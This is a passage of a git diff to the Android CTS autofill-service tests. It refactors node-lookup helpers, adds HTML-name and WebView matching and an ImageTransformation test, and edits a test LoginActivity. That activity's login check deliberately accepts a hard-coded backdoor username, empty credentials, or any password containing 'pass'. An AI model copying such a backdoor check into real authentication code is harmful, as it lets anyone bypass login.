index 1a64b8c..6f27fbe 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/EmptyActivity.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import android.support.annotation.Nullable;
import android.app.Activity;
import android.os.Bundle;
+import android.support.annotation.Nullable;
/**
* Empty activity
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
index cf6471b..ce97408 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivity.java
@@ -20,8 +20,8 @@
import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
-
import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+
import static com.google.common.truth.Truth.assertThat;
import android.os.Bundle;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
index ce05c2b..6dd9ee4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FragmentWithEditText.java
@@ -16,9 +16,9 @@
package android.autofillservice.cts;
-import android.support.annotation.Nullable;
import android.app.Fragment;
import android.os.Bundle;
+import android.support.annotation.Nullable;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index d0b6730..33321c7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -21,10 +21,10 @@
import android.widget.Button;
import android.widget.EditText;
+import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
-import java.util.ArrayList;
/**
* Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 0c384ff..fd96467 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -16,10 +16,10 @@
package android.autofillservice.cts;
-import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.autofillservice.cts.UiBot.PORTRAIT;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,16 +30,18 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.icu.util.Calendar;
-import android.os.UserManager;
import android.service.autofill.FillContext;
import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
import android.text.TextUtils;
import android.util.Log;
+import android.util.Pair;
import android.view.View;
import android.view.ViewStructure.HtmlInfo;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
import com.android.compatibility.common.util.SystemUtil;
@@ -54,9 +56,6 @@
private static final String TAG = "AutoFillCtsHelper";
- // TODO: should static import Settings.Secure instead, but that's not a @TestApi
- private static String USER_SETUP_COMPLETE = "user_setup_complete";
-
static final boolean VERBOSE = false;
static final String MY_PACKAGE = "android.autofillservice.cts";
@@ -68,6 +67,8 @@
static final String ID_LOGIN = "login";
static final String ID_OUTPUT = "output";
+ private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
+
/**
* Timeout (in milliseconds) until framework binds / unbinds from service.
*/
@@ -99,11 +100,21 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for an activity to be brought out to top.
+ */
+ static final int ACTIVITY_RESURRECTION_MS = 5000;
+
+ /**
* Timeout (in milliseconds) for changing the screen orientation.
*/
static final int UI_SCREEN_ORIENTATION_TIMEOUT_MS = 5000;
/**
+ * Timeout (in milliseconds) for using Recents to swtich activities.
+ */
+ static final int UI_RECENTS_SWITCH_TIMEOUT_MS = 200;
+
+ /**
* Time to wait in between retries
*/
static final int RETRY_MS = 100;
@@ -111,6 +122,43 @@
private final static String ACCELLEROMETER_CHANGE =
"content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
+ "--bind value:i:%d";
+
+ /**
+ * Helper interface used to filter Assist nodes.
+ */
+ interface NodeFilter {
+ /**
+ * Returns whether the node passes the filter for such given id.
+ */
+ boolean matches(ViewNode node, Object id);
+ }
+
+ private static final NodeFilter RESOURCE_ID_FILTER = (node, id) -> {
+ return id.equals(node.getIdEntry());
+ };
+
+ private static final NodeFilter HTML_NAME_FILTER = (node, id) -> {
+ return id.equals(getHtmlName(node));
+ };
+
+ private static final NodeFilter TEXT_FILTER = (node, id) -> {
+ return id.equals(node.getText());
+ };
+
+ private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
+ // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
+ // inside HtmlInfo, but Chromium 61 does not implement that.
+ final String className = node.getClassName();
+ final String formName;
+ if (className.equals("android.webkit.WebView")) {
+ final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+ formName = getAttributeValue(htmlInfo, "name");
+ } else {
+ formName = className;
+ }
+ return id.equals(formName);
+ };
+
/**
* Runs a {@code r}, ignoring all {@link RuntimeException} and {@link Error} until the
* {@link #UI_TIMEOUT_MS} is reached.
@@ -138,7 +186,7 @@
if (e instanceof RetryableException) {
throw e;
} else {
- throw new Exception("Timedout out after " + timeout + " ms", e);
+ throw new RetryableException(e, "Timedout out after %d ms", timeout);
}
}
}
@@ -231,6 +279,7 @@
.append(" class=").append(node.getClassName())
.append(" text=").append(node.getText())
.append(" class=").append(node.getClassName())
+ .append(" webDomain=").append(node.getWebDomain())
.append(" #children=").append(childrenSize);
buffer.append("\n").append(prefix)
@@ -255,15 +304,16 @@
}
/**
- * Gets a node given its Android resource id, or {@code null} if not found.
+ * Gets a node if it matches the filter criteria for the given id.
*/
- static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+ static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
+ @NonNull NodeFilter filter) {
Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
final int nodes = structure.getWindowNodeCount();
for (int i = 0; i < nodes; i++) {
final WindowNode windowNode = structure.getWindowNodeAt(i);
final ViewNode rootNode = windowNode.getRootViewNode();
- final ViewNode node = findNodeByResourceId(rootNode, resourceId);
+ final ViewNode node = findNodeByFilter(rootNode, id, filter);
if (node != null) {
return node;
}
@@ -272,34 +322,101 @@
}
/**
+ * Gets a node if it matches the filter criteria for the given id.
+ */
+ static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
+ @NonNull NodeFilter filter) {
+ for (FillContext context : contexts) {
+ ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
+ if (node != null) {
+ return node;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a node if it matches the filter criteria for the given id.
+ */
+ static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
+ @NonNull NodeFilter filter) {
+ if (filter.matches(node, id)) {
+ return node;
+ }
+ final int childrenSize = node.getChildCount();
+ if (childrenSize > 0) {
+ for (int i = 0; i < childrenSize; i++) {
+ final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
+ if (found != null) {
+ return found;
+ }
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Gets a node given its Android resource id, or {@code null} if not found.
+ */
+ static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+ return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
+ }
+
+ /**
* Gets a node given its Android resource id, or {@code null} if not found.
*/
static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
- for (FillContext context : contexts) {
- ViewNode node = findNodeByResourceId(context.getStructure(), resourceId);
- if (node != null) {
- return node;
- }
- }
- return null;
+ return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
}
/**
* Gets a node given its Android resource id, or {@code null} if not found.
*/
static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
- if (resourceId.equals(node.getIdEntry())) {
- return node;
+ return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
+ return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
+ return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+ */
+ static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
+ return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
+ }
+
+ /**
+ * Gets the {@code name} attribute of a node representing an HTML input tag.
+ */
+ @Nullable
+ static String getHtmlName(@NonNull ViewNode node) {
+ final HtmlInfo htmlInfo = node.getHtmlInfo();
+ if (htmlInfo == null) {
+ return null;
}
- final int childrenSize = node.getChildCount();
- if (childrenSize > 0) {
- for (int i = 0; i < childrenSize; i++) {
- final ViewNode found = findNodeByResourceId(node.getChildAt(i), resourceId);
- if (found != null) {
- return found;
- }
+ final String tag = htmlInfo.getTag();
+ if (!"input".equals(tag)) {
+ Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
+ return null;
+ }
+ for (Pair<String, String> attr : htmlInfo.getAttributes()) {
+ if ("name".equals(attr.first)) {
+ return attr.second;
}
}
+ Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
return null;
}
@@ -307,48 +424,26 @@
* Gets a node given its expected text, or {@code null} if not found.
*/
static ViewNode findNodeByText(AssistStructure structure, String text) {
- Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
- final int nodes = structure.getWindowNodeCount();
- for (int i = 0; i < nodes; i++) {
- final WindowNode windowNode = structure.getWindowNodeAt(i);
- final ViewNode rootNode = windowNode.getRootViewNode();
- final ViewNode node = findNodeByText(rootNode, text);
- if (node != null) {
- return node;
- }
- }
- return null;
+ return findNodeByFilter(structure, text, TEXT_FILTER);
}
/**
* Gets a node given its expected text, or {@code null} if not found.
*/
static ViewNode findNodeByText(ViewNode node, String text) {
- if (text.equals(node.getText())) {
- return node;
- }
- final int childrenSize = node.getChildCount();
- if (childrenSize > 0) {
- for (int i = 0; i < childrenSize; i++) {
- final ViewNode found = findNodeByText(node.getChildAt(i), text);
- if (found != null) {
- return found;
- }
- }
- }
- return null;
+ return findNodeByFilter(node, text, TEXT_FILTER);
}
/**
* Asserts a text-base node is sanitized.
*/
static void assertTextIsSanitized(ViewNode node) {
- final CharSequence text = node.getText();
- final String resourceId = node.getIdEntry();
- if (!TextUtils.isEmpty(text)) {
- throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
- }
- assertNodeHasNoAutofillValue(node);
+ final CharSequence text = node.getText();
+ final String resourceId = node.getIdEntry();
+ if (!TextUtils.isEmpty(text)) {
+ throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+ }
+ assertNodeHasNoAutofillValue(node);
}
static void assertNodeHasNoAutofillValue(ViewNode node) {
@@ -740,9 +835,17 @@
* Asserts that there is no session left in the service.
*/
public static void assertNoDanglingSessions() {
- final String command = "cmd autofill list sessions";
- final String result = runShellCommand(command);
- assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+ final String result = runShellCommand(CMD_LIST_SESSIONS);
+ assertWithMessage("Dangling sessions ('%s'): %s'", CMD_LIST_SESSIONS, result).that(result)
+ .isEmpty();
+ }
+
+ /**
+ * Asserts that there is a pending session for the given package.
+ */
+ public static void assertHasSessions(String packageName) {
+ final String result = runShellCommand(CMD_LIST_SESSIONS);
+ assertThat(result).contains(packageName);
}
/**
@@ -820,6 +923,53 @@
AuthenticationActivity.resetStaticState();
}
+ /**
+ * Asserts the node has an {@code HTMLInfo} property, with the given tag.
+ */
+ public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
+ final HtmlInfo info = node.getHtmlInfo();
+ assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
+ assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
+ return info;
+ }
+
+ /**
+ * Gets the value of an {@code HTMLInfo} attribute.
+ */
+ @Nullable
+ public static String getAttributeValue(HtmlInfo info, String attribute) {
+ for (Pair<String, String> pair : info.getAttributes()) {
+ if (pair.first.equals(attribute)) {
+ return pair.second;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Asserts a {@code HTMLInfo} has an attribute with a given value.
+ */
+ public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
+ final String actualValue = getAttributeValue(info, attribute);
+ assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
+ assertWithMessage("Wrong value for Attribute %s", attribute)
+ .that(actualValue).isEqualTo(expectedValue);
+ }
+
+ /**
+ * Finds a {@link WebView} node given its expected form name.
+ */
+ public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
+ return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+ }
+
+ /**
+ * Finds a {@link WebView} node given its expected form name.
+ */
+ public static ViewNode findWebViewNode(ViewNode node, String formName) {
+ return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+ }
+
private Helper() {
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
new file mode 100644
index 0000000..01878ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+/**
+ * Enum used to explain the meaning of node ids used by test cases.
+ */
+enum IdMode {
+ RESOURCE_ID,
+ HTML_NAME
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
new file mode 100644
index 0000000..e96df05
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.only;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class ImageTransformationTest {
+
+ @Test
+ public void testAllNullBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(null, null, 0));
+ }
+
+ @Test
+ public void testNullAutofillIdBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(null, Pattern.compile(""), 1));
+ }
+
+ @Test
+ public void testNullRegexBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new ImageTransformation.Builder(new AutofillId(1), null, 1));
+ }
+
+ @Test
+ public void testNullSubstBuilder() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
+ }
+
+ @Test
+ public void fieldCannotBeFound() throws Exception {
+ AutofillId unknownId = new AutofillId(42);
+
+ ImageTransformation trans = new ImageTransformation
+ .Builder(unknownId, Pattern.compile("val"), 1)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+ trans.apply(finder, template, 0);
+
+ // if a view cannot be found, nothing is set
+ verify(template, never()).setImageViewResource(anyInt(), anyInt());
+ }
+
+ @Test
+ public void theOneOptionsMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*"), 42)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 42);
+ }
+
+ @Test
+ public void noOptionsMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile("val"), 42)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("bad-val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template, never()).setImageViewResource(anyInt(), anyInt());
+ }
+
+ @Test
+ public void multipleOptionsOneMatches() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*1"), 1)
+ .addOption(Pattern.compile(".*2"), 2)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 2);
+ }
+
+ @Test
+ public void twoOptionsMatch() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*a.*"), 1)
+ .addOption(Pattern.compile(".*b.*"), 2)
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("ab");
+
+ trans.apply(finder, template, 0);
+
+ // If two options match, the first one is picked
+ verify(template, only()).setImageViewResource(0, 1);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 0840f28..3859138 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -100,13 +100,13 @@
@Override
public void onFillRequest(android.service.autofill.FillRequest request,
CancellationSignal cancellationSignal, FillCallback callback) {
+ if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
synchronized (sLock) {
if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
Log.w(TAG, "Ignoring onFillRequest()");
return;
}
}
- if (DUMP_FILL_REQUESTS) dumpStructure("onFillRequest()", request.getFillContexts());
sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
cancellationSignal, callback, request.getFlags());
}
@@ -114,13 +114,13 @@
@Override
public void onSaveRequest(android.service.autofill.SaveRequest request,
SaveCallback callback) {
+ if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
synchronized (sLock) {
if (sIgnoreUnexpectedRequests || !fromSamePackage(request.getFillContexts())) {
Log.w(TAG, "Ignoring onSaveRequest()");
return;
}
}
- if (DUMP_SAVE_REQUESTS) dumpStructure("onSaveRequest()", request.getFillContexts());
sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
}
@@ -255,6 +255,13 @@
private Replier() {
}
+
+ private IdMode mIdMode = IdMode.RESOURCE_ID;
+
+ public void setIdMode(IdMode mode) {
+ this.mIdMode = mode;
+ }
+
public void acceptRequestsFromPackage(String packageName) {
mAcceptedPackageName = packageName;
}
@@ -398,8 +405,20 @@
return;
}
- final FillResponse fillResponse = response.asFillResponse(
- (id) -> Helper.findNodeByResourceId(contexts, id));
+ final FillResponse fillResponse;
+
+ switch (mIdMode) {
+ case RESOURCE_ID:
+ fillResponse = response.asFillResponse(
+ (id) -> Helper.findNodeByResourceId(contexts, id));
+ break;
+ case HTML_NAME:
+ fillResponse = response.asFillResponse(
+ (name) -> Helper.findNodeByHtmlName(contexts, name));
+ break;
+ default:
+ throw new IllegalStateException("Unknown id mode: " + mIdMode);
+ }
Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
callback.onSuccess(fillResponse);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 9a0d70c..b41cef8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -20,8 +20,8 @@
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
+import android.text.TextUtils;
import android.util.Log;
-import android.view.View;
import android.view.View.OnClickListener;
import android.view.inputmethod.InputMethodManager;
import android.widget.Button;
@@ -50,6 +50,8 @@
static final String ID_USERNAME_CONTAINER = "username_container";
static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+ static final String BACKDOOR_USERNAME = "LemmeIn";
+ static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
private TextView mUsernameLabel;
private EditText mUsernameEditText;
@@ -76,18 +78,17 @@
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
-
setContentView(getContentView());
- mLoginButton = (Button) findViewById(R.id.login);
- mSaveButton = (Button) findViewById(R.id.save);
- mClearButton = (Button) findViewById(R.id.clear);
- mCancelButton = (Button) findViewById(R.id.cancel);
- mUsernameLabel = (TextView) findViewById(R.id.username_label);
- mUsernameEditText = (EditText) findViewById(R.id.username);
- mPasswordLabel = (TextView) findViewById(R.id.password_label);
- mPasswordEditText = (EditText) findViewById(R.id.password);
- mOutput = (TextView) findViewById(R.id.output);
+ mLoginButton = findViewById(R.id.login);
+ mSaveButton = findViewById(R.id.save);
+ mClearButton = findViewById(R.id.clear);
+ mCancelButton = findViewById(R.id.cancel);
+ mUsernameLabel = findViewById(R.id.username_label);
+ mUsernameEditText = findViewById(R.id.username);
+ mPasswordLabel = findViewById(R.id.password_label);
+ mPasswordEditText = findViewById(R.id.password);
+ mOutput = findViewById(R.id.output);
mLoginButton.setOnClickListener((v) -> login());
mSaveButton.setOnClickListener((v) -> save());
@@ -110,7 +111,10 @@
private void login() {
final String username = mUsernameEditText.getText().toString();
final String password = mPasswordEditText.getText().toString();
- final boolean valid = username.equals(password) || password.contains("pass");
+ final boolean valid = username.equals(password)
+ || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
+ || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
+ || username.equals(BACKDOOR_USERNAME);
if (valid) {
Log.d(TAG, "login ok: " + username);
@@ -165,12 +169,23 @@
}
/**
+ * Sets the expectation for an autofill request (for password only), so it can be asserted
+ * through {@link #assertAutoFilled()} later.
+ */
+ void expectPasswordAutoFill(String password) {
+ mExpectation = new FillExpectation(null, password);
+ mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+ }
+
+ /**
* Asserts the activity was auto-filled with the values passed to
* {@link #expectAutoFill(String, String)}.
*/
void assertAutoFilled() throws Exception {
assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
- mExpectation.ccUsernameWatcher.assertAutoFilled();
+ if (mExpectation.ccUsernameWatcher != null) {
+ mExpectation.ccUsernameWatcher.assertAutoFilled();
+ }
if (mExpectation.ccPasswordWatcher != null) {
mExpectation.ccPasswordWatcher.assertAutoFilled();
}
@@ -264,13 +279,14 @@
private final OneTimeTextWatcher ccPasswordWatcher;
private FillExpectation(String username, String password) {
- ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
- ccPasswordWatcher = new OneTimeTextWatcher("password", mPasswordEditText, password);
+ ccUsernameWatcher = username == null ? null
+ : new OneTimeTextWatcher("username", mUsernameEditText, username);
+ ccPasswordWatcher = password == null ? null
+ : new OneTimeTextWatcher("password", mPasswordEditText, password);
}
private FillExpectation(String username) {
- ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
- ccPasswordWatcher = null;
+ this(username, null);
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 56e52f5..ab25326 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -30,14 +30,13 @@
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertValue;
import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
import static android.autofillservice.cts.Helper.runShellCommand;
import static android.autofillservice.cts.Helper.setUserComplete;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
@@ -72,9 +71,9 @@
import android.graphics.Color;
import android.os.Bundle;
import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
import android.view.View;
import android.view.View.AccessibilityDelegate;
import android.view.ViewGroup;
@@ -87,11 +86,13 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* This is the test case covering most scenarios - other test cases will cover characteristics
@@ -99,6 +100,8 @@
*/
public class LoginActivityTest extends AutoFillServiceTestCase {
+ private static final String TAG = "LoginActivityTest";
+
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
@@ -603,8 +606,7 @@
final View[] overlay = new View[1];
try {
// Allow ourselves to add overlays
- runShellCommand("appops set " + getContext().getPackageName()
- + " SYSTEM_ALERT_WINDOW allow");
+ runShellCommand("appops set %s SYSTEM_ALERT_WINDOW allow", mPackageName);
// Make sure the fill UI is shown.
sUiBot.assertDatasets("The Dude");
@@ -620,7 +622,7 @@
params.width = ViewGroup.LayoutParams.MATCH_PARENT;
params.height = ViewGroup.LayoutParams.MATCH_PARENT;
- final View view = new View(getContext()) {
+ final View view = new View(mContext) {
@Override
protected void onAttachedToWindow() {
super.onAttachedToWindow();
@@ -628,7 +630,7 @@
}
};
view.setBackgroundColor(Color.RED);
- WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
windowManager.addView(view, params);
overlay[0] = view;
});
@@ -676,11 +678,10 @@
assertNoDanglingSessions();
} finally {
// Make sure we can no longer add overlays
- runShellCommand("appops set " + getContext().getPackageName()
- + " SYSTEM_ALERT_WINDOW ignore");
+ runShellCommand("appops set %s SYSTEM_ALERT_WINDOW ignore", mPackageName);
// Make sure the overlay is removed
mActivity.runOnUiThread(() -> {
- WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+ WindowManager windowManager = mContext.getSystemService(WindowManager.class);
windowManager.removeView(overlay[0]);
});
}
@@ -1177,28 +1178,44 @@
assertNoDanglingSessions();
}
- enum DismissType {
- BACK_BUTTON,
- HOME_BUTTON,
- TOUCH_OUTSIDE
- }
-
@Test
public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
saveGoesAway(DismissType.HOME_BUTTON);
}
- /* TODO: add these when fixed.
@Test
public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
